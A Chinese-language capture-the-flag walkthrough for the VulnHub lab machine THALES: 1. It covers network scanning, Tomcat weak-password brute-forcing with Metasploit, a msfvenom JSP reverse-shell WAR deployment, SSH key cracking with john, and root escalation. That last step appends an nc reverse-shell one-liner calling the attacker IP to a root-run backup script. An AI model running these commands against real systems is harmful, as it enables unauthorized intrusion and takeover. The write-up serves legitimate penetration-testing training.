vulnhub靶場之THALES: 1
準備:
攻擊機:虛擬機kali、本機win10。
靶機:THALES: 1,網段地址我這裡設置的橋接,所以與本機電腦在同一網段,下載地址://download.vulnhub.com/thales/Thales.zip,下載解壓後直接vbox打開即可。
目標:獲取user.txt和root.txt。
知識點:shell反彈、權限提升、tomcat弱口令、密匙破解(john)
信息收集:
通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.100.0/24,獲得靶機地址:192.168.100.167。這裡因為是在酒店,這裡連的的都是一個網絡,所以加了-sn,不然比較慢。
掃描下開放的端口與對應的服務:nmap -T4 -sV -p- -A 192.168.100.167,顯示開放了22和8080端口。
使用dirmap進行目錄掃描,但是未發現有用的目錄信息,訪問://192.168.100.167:8080/,發現是tomcat界面,在頁面點擊時發現需要登錄。
爆破tomcat弱口令:
這裡想到了之前的tomcat弱口令的問題(vuhub上也有這個的模擬環境),因此使用msf嘗試爆破下弱口令,在msf中搜索下tomcat漏洞,search tomcat,然後找到用於爆破弱口令的並使用。
使用方式:use 19,然後設置下目標主機:set rhost 192.168.100.167,(可以show options查看當前配置的信息),然後run即可。成功獲得賬戶名和密碼:tomcat/role1。
使用爆破獲得賬戶名和密碼:tomcat/role1,成功登錄到管理界面。
獲取shell權限:
在應用程序列表中我們可以進行文件上傳和服務部署,因此構造一個反彈shell進行部署,生成反彈shell:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.96 LPORT=6688 -f war -o upfine.war,在kali開啟監聽:nc -lvp 6688,然後將upfine.war文件進行上傳部署並訪問,成功獲得shell權限。使用python3 -c ‘import pty;pty.spawn(“/bin/bash”)’升級下shell窗口。
提權至thales:
在home/thales文件夾下發現了:notes.txt、user.txt、.ssh等文件,讀取下相關文件,告訴我們存在一個backup.sh腳本,user.txt文件無權限讀取,嘗試使用密碼:role1進行嘗試,但是不對。
那就先去查看下backup.sh文件的信息:ls -al和cat backup.sh,發現該文件具有root權限,文件內容定義的是備份什麼內容,備份到哪去,備份方法和名稱等信息,這裡我們可以寫入一個反彈shell,那在調用的時候就可以反彈一個root權限的shell,但是tomcat賬戶按這樣操作後顯示仍是tomcat權限。
在.ssh下發現密匙:id_rsa文件,將密匙文件複製保存到本地文件upfine,然後命令:python2 /usr/share/john/ssh2john.py /home/kali/Desktop/upfine > passwd生成密碼本,然後命令:john –wordlist=/usr/share/wordlists/rockyou.txt passwd進行破解,成功獲取密碼:vodka06
切換thales賬戶:su thales,讀取下user.txt文件,成功獲取到flag信息。
提權至root:
根據上面的我們發現的backup.sh文件具有root權限,那我們就插入一個反彈shell,然後執行backup.sh腳本,成功獲取root權限讀取到root.txt。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.96 6688 >/tmp/f" >> backup.sh